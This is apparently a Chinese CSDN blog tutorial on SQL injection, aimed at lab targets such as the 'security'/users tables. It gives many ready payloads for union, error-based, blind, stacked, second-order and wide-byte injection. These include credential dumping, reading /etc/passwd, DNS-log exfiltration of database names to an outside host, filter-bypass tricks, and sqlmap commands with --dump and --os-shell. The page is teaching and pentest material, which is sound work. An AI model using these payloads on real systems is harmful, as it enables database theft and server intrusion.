SQL注入基础知识

声明:本文章仅做技术交流,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关,如有不妥请联系本人删除。

基本概述

漏洞产生的原因

主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

漏洞的危害和防范

漏洞危害

攻击者可以通过SQL注入获取服务器的库名、表名、字段名、数据库版本、操作系统,从而获取整改网站服务器中的数据,对网站的用户的数据安全造成极大的威胁。

攻击者可对数据库进行拖裤,获取数据进行贩卖。这将泄露用户的隐私信息,对用户的生活造成极大的危害。

漏洞防范

  • 增强输入验证及过滤,使用白名单或黑名单进行控制。
  • 对特殊的字符编码进行转义。
  • 预编译。
  • 使用WAF防范软硬件进行防范。
  • 对数据库中重要的数据进行加密处理。
  • 遵循最小化权限原则,严格区分各类账号管理的范围。

SQL语句的知识拓展

CSDN常用的SQL语法-CSDN博客

SQL注入步骤

信息收集

sql内置函数:

user() 数据库用户名

database() 当前数据库名

version() 当前数据库版本信息

@@hostname 服务器主机名

@@basedir 数据库安装路径

@@version_compile_os 操作系统

基本信息收集:

操作系统、数据库名、数据库用户、数据库版本、其他路径。

判断是否存在注入点

最为经典的单引号判断法:

在参数后面加上单引号,比如: http://xxx/abc.php?id=1',若页面返回错误,则存在 Sql 注入。

解释:无论字符型还是整型都会因为单引号个数不匹配而报错

如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤

这时可以使用判断语句进行注入:

?id=1 and 1=1 页面正常   

?id=1 and 1=2 页面不正常

判断闭合符

'、"、%、)、}等,具体需要进行测试。

判断注入类型

注入类型有:数字型字符型

数字型

**·**可以使用经典的 and 1=1 和 and 1=2 来判断

url中输入?id=1 and 1=1 页面正常

url中输入?id=1 and 1=2 页面错误(若页面回显仍然正常,则为字符型。因为字符型只会截取1的值,后面的and什么的会忽略)

字符型

**·**可以使用 and ‘1’='1 和 and ‘1’='2来判断:

url中输入1' and '1' = '1,页面运行正常

url中输入1' and '1' = '2,页面运行错误

注入

获取数据库名>获取数据库表名>获取数据库列名>获取数据库字段

实例:

1)判断注入点:?id=1 and 1=2–-+

2)猜列数量:?id=1 order by 4--+

//order by语句是对表进行排序,如果排序列数超过表中的列数,就会报错

3)通过列的数量结合union select进行联合查询:

//UNION中的每个查询必须包含相同的列、表达式或聚集函数(各个列不需要以相同的次序列出)

判断回显位:?id=-1 union select 1,2,3--+(显示位就是上图能够显示123的地方,而上面只显示了2和3,那么是2和3就是显示位。)

获取数据库名:?id=-1 union select 1,database(),version()--+

获取表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

获取列名:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

获取字段名:?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

注:这里联合查询时,union前面的值一定要为假才能执行后面的代码

常见的注入类型

基础注入知识有:联合查询(union)、报错注入(Floor、updatexml、extractvalue)、布尔盲注(Substr、left、right、ascii、length、regexp、like)、时间盲注(sleep)、宽字节绕过(%df、%9c、聂)、post注入、head注入

数据库注入:access(cookie、偏移)、mysql(dns、反弹)、orale(报错)

基于注入内容的分类

数字型注入

数字型就是将输入的内容当作数字来看,是最最基础的注入类型。

这类注入时只需要正常输入即可

字符型注入

字符型就是将输入的内容当作字符来看,所以数据库会将输入的内容自动加上引号。

如:当输入:1 and 1=1时,其实在数据库中输入的是:id =' 1 and 1=1'

所以这类注入时需要对内容加引号进行闭合,如输入:1' and 1 = 1-- -

基于注入手段的分类

联合查询

即使用“union”进行查询。

  • union要求每个SELECT语句中的列数必须相同或者可以由NULL填充以匹配另一个SELECT语句。
  • 且union前面的值一定要为假才会执行union后的语句。
  • UNION中的每个查询必须包含相同的列、表达式或聚集函数(各个列不需要以相同的次序列出)

所以在注入前,先要用“order by”进行列的查询

具体的注入流程如下:

1)判断注入点:?id=1 and 1=2–-+

2)猜列数量:?id=1 order by 4--+

//order by语句是对表进行排序,如果排序列数超过表中的列数,就会报错

3)通过列的数量结合union select进行联合查询:


判断回显位:?id=-1 union select 1,2,3--+(显示位就是上图能够显示123的地方,而上面只显示了2和3,那么是2和3就是显示位。)

获取数据库名:?id=-1 union select 1,database(),version()--+

获取表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

获取列名:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

获取字段名:?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

报错注入

报错注入就是利用了数据库的某些机制,人为的制造错误的条件,使得查询的结果能够出现在错误的信息中。

报错盲注的前提页面没有回显点,但是必须SQL语句能够执行错误的信息

优点:不需要显示位。   缺点:需要有SQL语句的报错信息。

报错盲注步骤

构造目标数据查询语句>选择报错注入函数>构造报错注入语句>拼接报错注入语句。

常用报错函数

Floor、updatexml、extractvalue…等等。

Floor

报错原理:当使用报错语句执行查询表的第一条数据时,依据select floor(rand(0)*2) from student;得出的规律01101可以知道这次的值为0(这是第一次计算floor(rand(0)2)),查询虚拟表,发现虚拟表没有数据,于是将0插入虚拟表key字段,在插入key字段时floor(rand(0)2)会再执行一次(这是第二次计算,依据规律值为1),于是乎在key的第一个值插入的其实是1 count ()计数为1 查询第二条数据时,依据01101规律floor(rand(0)*2)结果为1(这是第三次计算),查询虚拟表,发现虚拟表已经有了key为1的记录,于是直接在count处进行加1 查询第三条数据时,依据01101规律floor(rand(0)2)的结果为0(这是第四次计算),查询虚拟表,发现虚拟表没有key为0的值,在插入key字段时floor(rand(0)2)会再执行一次(这时floor(rand(0)*2)的值成为1,这是第五次执行),因为在虚拟表中已经存在key为1的值,所以会出现虚拟表主键冲突,所以报错。 通过上面分析我们可以看出如果数据库的记录小于三条那floor报错也是无法利用的 所以我们查询的表可以是information_schema.tables 这里面应该是有大于等于三条记录的

简单来说,就是:group by在向临时表插入数据时,由于 rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前 concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。

涉及的函数

rand()函数:随机返回0~1之间的小数。

floor()函数:向下取整,比如1.314,floor(1.314)为1。

ceil()函数:向上取整。

conact_ws()函数:将括号中的数据用第一个参数连接起来。

group by子句:分组语句,根据一个或多个列,对结果进行分组,常与聚合函数连用,用来统计。

as:别名,一般会将一段长的语句进行缩短。

格式:

select count(*),(floor(rand(0)*2)) as x from 表名 group by x

具体注入流程:

floor\ceil
# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
#爆数据库
?id=-1' and (select 1 from (select count(*) ,concat(database( ),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
#爆表
?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#爆列
?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#爆字段
?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
updatexml

格式:updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,XML的内容。

第二个参数:XPath_string (Xpath格式的字符串) ,是需要update的位置XPATH路径。

第三个参数:new_value,String格式,更新后的内容

concat函数:将字符串拼接起来;

group_concat函数的功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果;

以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

具体注入流程:

eg:updatexml(1,'~',3)

updatexml(1,concat(0x7e,(database()),0x7e),3)
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),3)
updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),3)
extractvalue

extractvalue()函数作用:MYSQL对XML文档数据进行查询的XPATH函数。

语法: extractvalue(xml_frag, xpath_expr

  • xml_frag: 目标xml文档
  • xpath_expr: 利用Xpath路径法表示的查找路径
  • 报错原理:Xpath格式语法书写错误的话,就会报错

具体注入流程:

extractvalue(0x7e,concat(0x7e,(select database())))
extractvalue(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))
extractvalue(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))
extractvalue(0x7e,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users)))

布尔盲注

布尔盲注一般适用于页面没有回显位置,也就是不支持联合查询,同时web页面返回true或者false构造SQL语句,从而达到注入获取数据的目的。

布尔盲注一般适用于页面没有回显位置,也就是不支持联合查询,同时web页面返回true或者false构造SQL语句,从而达到注入获取数据的目的。

常用布尔函数使用语法

  • substr()截取函数
    语法:substr(str,start,length)
    第一个参数str为被截取的字符串。
    第二个参数start为开始截取的位置。
    第三个参数length为截取的长度。
    如:substr(user(),1,1),从user中返回的数据的第一位开始偏移位置截取一位,后续需要获取其他的数据只需要修改参数即可。
  • left()截取函数
    语法:left(str,length)
    第一个参数str为被截取的字符串。
    第二个参数length为截取的长度。
    如:left(user(),2),从user中返回的数据中截取前两位。
  • right()截取函数
    语法:rigth(user(),2)
    参考left()函数用法。
  • ascii()**转换函数
    语法:ascii(char)
    第一个参数char为一个字符。
    如:ascii(user())若char为一串字符串,则返回的结果将是第一个字母的ASCII码,通常在使用中结合substr函数结合使用。Ascii(substr(user()1,1)),这样就可以获取user()中第一位字符的ASCII码。
  • length()**计算函数
    语法:length(str)
    第一个参数str为字符串。
    如:length(admin)返回就是5。如果不是放某个字符串,放置表达式的时候,需要使用括号括起来
  • ord()**转换函数
    语法:ord(str)
    参考ascii()函数用法。
  • 正则表达式regexp
    正则表达式语法:
    regexp ^[a-z]:表示字符串中第一个字符是在 a-z范围内。
    regexp ^a: 表示字符串第一个字符是a。
    regexp ^ab: 表示字符串前两个字符是ab。
  • like函数
    语法:Like 'a%'表示字符串第一个字符是a。
     Like 'ab%'表示字符串前两个字符是ab。
    %表示为任意值

用法举例:

#猜数据库长度
?id=1' and (length(database()))>7--+

#猜数据库名
?id=1' and ascii(substr(database(),1,1))>100--+ 

#猜表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+

#猜字段名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50--+

时间盲注

时间盲注的简介:由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。

时间盲注的原理:时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,但是这个会由于网络情况造成误判,所以在测试前需要测试正常访问页面的时长。

时间盲注基本步骤:其实这里的基本步骤和布尔盲注都差不多,只不过是通过页面的响应时间来进行判断。

常用盲注函数:

  • if()比较函数
    语法:if(cond,ture_result,False_result)
    第一个参数cond为判断条件。
    第二个参数ture_result为真时的返回结果。
    第三个参数false_result为假时的返回结果。
    如:?id=1 and 1=if (ascii(substr(user(),1,1))=97,1,2)
    如果user 的第一位是‘a’则将返回1,否则就返回2。然而,如果返回的是2,则会使and后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果。
  • sleep()睡眠函数
    语法:sleep(N)
    第一个参数N是睡眠的时间
    如:if (ascii(substr(user(),1,1))=114,sleep(5),2)
    这样的话,如果user的第一位是‘r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在服务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间

堆叠注入

堆叠注入原理:将多条语句堆叠在一起进行查询,且可以执行多条SQL语句

语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload

使用条件:

有注入点:即存在sql注入漏洞

未过滤:即未对";"号进行过滤

未禁用:即未禁止执行多条sql语句

新建一个表X:select * from users;create table X like users; 删除创建的X表:select * from users;drop table X; 查询数据:select * from users;select B,C,D; 加载文件:select * from users;select load_file('/etc/passwd'); 增加一条数据:select * from users;insert into users values(18,'admin100','admin100');

具体使用方法:

select * from user where id=1;select 1,user(),database();

RENAME TABLE wordsTOwords1;   将名为words的表重命名为words1
RENAME TABLE 1919810931114514TOwords;  将名为1919810931114514的表重命名为words
ALTER TABLE wordsCHANGEflag id VARCHAR(100);   更改words表中名为flag的列的名称为id,并将其数据类型更改为VARCHAR(100)(最大长度为100个字符)
SHOW COLUMNS FROM words;   显示words表的所有列以及其属性和信息

二次注入

二次注入原理:在二次注入中,初始的恶意查询语句通常包含被数据库转义处理过的特殊字符,例如单引号。当这些语句被插入到数据库中时,虽然数据库对一些字符进行了转义,但某些字符,如单引号,可能未被转义。因此,当程序在后续查询中直接从数据库中取出这些语句时,它们将不会被进一步检查,从而执行原始的恶意查询。

比如,注册账号名为:admin’#的用户,当其被输入到数据库中时,就会默认为账号名为“admin”的用户,而成功更新密码,实现二次注入

具体实践可看文章:渗透测试-SQL注入之二次注入-CSDN博客

宽字节绕过

宽字节注入的简介

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围)php的魔术引号(magic_quotes_gpc)开启,会在特殊字符(比如 ’ , " , \ , null)前面加 \ ,导致闭合失败。   PHP5.4.0及其之后PHP版本取消了魔术引号,之后转义都需要加上addslashes函数 (stripslashes删除反斜杠)

而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’’,从而使单引号闭合(逃逸),进行注入攻击。

简单来说,宽字节是”/”在ASCII码里代表“5c”和其他东西组合可能可以由bgk编码为一个汉字而成功绕过。比如%df。但这并不是唯一的,也不是ASCII码中大于128的都行,这需要查gbk编码表。

GBK 编码表 - 在线工具https://www.toolhelper.cn/Encoding/GBK

注入思路 :

将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是bypass的一种方法。

其他数据库的注入

以下数据库的注入不常见,仅讲述攻击手法作了解

access

cookie

攻击手法:

按F12,删除get的?以及后面部分,输入代码后回车,刷新网页

判断注入点:

document.cookie="id="+escape("171")

显示正常,有漏洞

document.cookie="id="+escape("171 and 1=2")

数据库错误表示and 1=2被当作语句执行

判断出查询语句字段数10

document.cookie="id="+escape("171 order by 10|11")

判断回显位置

document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,0 from admin")

获得username和password

document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,0 from admin")

ps:cookie注入失败的原因可能是手法问题,在控制台回车后需要再刷新一下看看

偏移

https://www.cnblogs.com/02SWD/p/15811580.html

mysql

dns

mysql注入之dns注入_mysql dns注入-CSDN博客

DNSlog网站:http://dnslog.cn/

使用dnslog,获取站点

/123.jpg?id=1 and load_file(concat('//',database(),'.获取到的站点/456'))

 加这个/456的目的是让他去读取这个目录,这个可以随便写,456、qw什么的,这里是为了符合格式,

反弹

掌控安全学习-MSSSQL注入-反弹注入 - 简书

MSSQL注入 — 反弹注入_mysql注入反弹 msfvenom-CSDN博客

orale

报错

【Oracle注入--报错注入】_oracle报错注入-CSDN博客

SQL注入的过滤与绕过

(1)空格过滤绕过

             ① 两个空格代替一个

             ② 用TAB代替空格

             ③ %a0=空格

             ④ 若括号没被过滤可以使用括号进行过滤

             ⑤ %0B绕过

 (2)or或and过滤绕过

                ① 大小写变形Or,OR,oR

                   ② 编码

                   ③ 添加注释/or/

                   ④ 利用符号 and=&&,or=||

                   ⑤ 双写and=anandd,or=oorr

  (3)#或–+过滤绕过

                   ① 单引号闭合需要在后面增加一个单引号即可

                   ② 双引号闭合需要在后面注入语句后面增加一个双引号

                   ③ (‘’)单引号加括号这种需要多加一个or (‘’)=('1

                   ④ (“”)双引号加括号这种需要多加一个or (“”)=("1

                   ⑤ or ‘1’=’1进行闭合。

   (4)union,select等关键字过滤绕过

                    ① 大小写绕过uNIon,sEeCt

                    ② 双写绕过uniunionon,selselctct

                    ③ 注释符绕过U/**/nion

                    ④ 内联注释/!union/

                    ⑤ 编码绕过

    (5)等号过滤绕过

                    ① 大于号小于号替代等号

                    ② like绕过

    (6)函数过滤绕过

                    ① 同功能函数替换mid()替换substring()

                    ② 各类编码绕过

工具的使用

sqlmap

sqlmap.py -u “URL”

              --delay=1 每次探测延时1s 防止访问过快被ban

​              -p 指定参数

​              --flush-session 无视缓存重新跑

​              --dbs 查看库

​              -D 指定库

​              --tables 查看表(表那么多,是不是应该指定库去看)

​              -T"admin" 指定admin表

​              --columns 查看字段

​              -C 指定字段

​              --dump 获取数据【慎用】 拖库

​              --is-dba 检测权限 True

​              --os-shell 直接获取服务器权限

​              sqlmap测试分等级。等级越高测试的越慢、但是测出漏洞的可能性越大level 1-5 risk 1-3,--level 3 --risk 2 测试的语句多,但是时间也不离谱

#查询当前用户下所有数据库
sqlmap.py -u url --dbs
#查询表名
sqlmap.py -u url -D dbname --tables
#查询字段名
sqlmap.py -u url -D dbname -T tablename --columns
#查询字段内容
sqlmap.py -u url -D dbname -T tabalename -C olumnname --dump

burp

抓包之后把数据包放到sqlmap文件夹新建1.txt,想跑哪个位置就在后面加*

                     如username=qweasdzxc123*

                     python sqlmap.py -r 1.txt --level 3 --risk 2

  • 54
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值